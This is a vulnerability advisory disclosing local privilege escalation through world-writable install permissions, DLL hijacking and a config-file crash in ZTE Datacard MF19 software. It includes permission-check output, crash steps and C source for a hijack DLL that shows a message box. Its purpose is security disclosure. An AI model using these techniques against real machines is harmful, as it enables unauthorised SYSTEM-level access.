Document Title: =============== ZTE Datacard MF19 0V1.0.0B PCW - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1392 Release Date: ============= 2015-01-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1392 Common Vulnerability Scoring System: ==================================== 6 Product & Service Introduction: =============================== http://www.zte.com.cn http://www.mobilis.dz/entreprises/mobiconnect.php http://www.3g.dz/fr/cle_mas/index.php?id_document=2 Abstract Advisory Information: ============================== An independent vulnerability-laboratory researcher discovered multiple vulnerabilities in the official ZTE Datacard mobiconnect (mobilis) MF19 0V1.0.0B04 software. Vulnerability Disclosure Timeline: ================================== 2015-01-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== ZTE Corporation Product: Datacard MF19 (Mobilis) - Software V1.0.0B04 (PCW_MOBILISALGV1.0.0B03 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local privilege escalation vulnerability has been discovered in the official ZTE Datacard mobiconnect MF19 0V1.0.0B04 application software. The local security vulnerability allows an attackers to gain higher access privileges by exploitation of a insecure permission misconfiguration. The application is vulnerable to an elevation of privileges vulnerability which can be used by a simple user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the `F` flag (full) for the `Everyone`(Tout le monde:F) and `Users` group, for the all binary file. The files are installed in the `Ucell Internet` directory which has the default `Everyone` group assigned to it with full permissions making every single file inside vulnerable to changeby any user on the affected machine. After an attacker replaced the binary with a rootkit, he gain access to SYSTEM privileges after the reboot. The security risk of the local privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.0. Exploitation of the vulnerability requires a local privileged systen user account without user for interaction. Successful exploitation of the privilege escalation web vulnerability results in software- or system compromise. The second discovered issue is a dll hijacking vulnerability in the mms_dll_r.dll and mediaplayerdll.dll. The issue allows local attackers with process privileges to inject own code to the affected libraries. The third discovered vulnerability is a denial of service bug that affects the local process. Local attackers are able to manipulate the networkCfg.xml to crash the application with a runtime error that results in a unhandled exception. Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by local attackers with restricted account privileges and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Insecure Permissions Privilege Escalation, Denial of Service & DLL Hijacking Exploit (mms_dll_r.dll, mediaplayerdll.dll) --- PoC Session Logs Local Privilege Escalation --- C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\Program Files\Mobiconnect" C:\Program Files\Mobiconnect Medium Mandatory Level (Default) [No-Write-Up] RW Tout le monde FILE_ALL_ACCESS RW NT SERVICE\TrustedInstaller FILE_ALL_ACCESS RW AUTORITE NT\SystÞme FILE_ALL_ACCESS RW BUILTIN\Administrateurs FILE_ALL_ACCESS R BUILTIN\Utilisateurs FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL C:\Users\s-dz\Desktop> C:\Program Files>icacls "Mobiconnect" Mobiconnect Tout le monde:(F) Tout le monde:(OI)(CI)(IO)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) AUTORITE NT\Système:(I)(F) AUTORITE NT\Système:(I)(OI)(CI)(IO)(F) BUILTIN\Administrateurs:(I)(F) BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F) BUILTIN\Utilisateurs:(I)(RX) BUILTIN\Utilisateurs:(I)(OI)(CI)(IO)(GR,GE) CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F) 1 fichiers correctement traités ; échec du traitement de 0 fichiers --- PoC Local DoS --- first go to C:\program files\Internet Mobile\networkCfg.xml (Network configuration) and write "A" * 3000 in <ConfigFileName>"A" x 3000</ConfigFileName> . Save it open the program . poc will crash ... --- DLL Hijacking Exploit (mms_dll_r.dll, mediaplayerdll.dll) --- */ #include <windows.h> BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: owned(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int owned() { MessageBox(0, "ZTE DLL Hijacked\Hadji Samir", "POC", MB_OK); } Security Risk: ============== The security risk of the local privilege escalation vulnerability, dos issue and ddl injection bug in the software are estimated as high. (CVSS 6.0) Credits & Authors: ================== Hadji Samir s-dz@xxxxxxxxxx Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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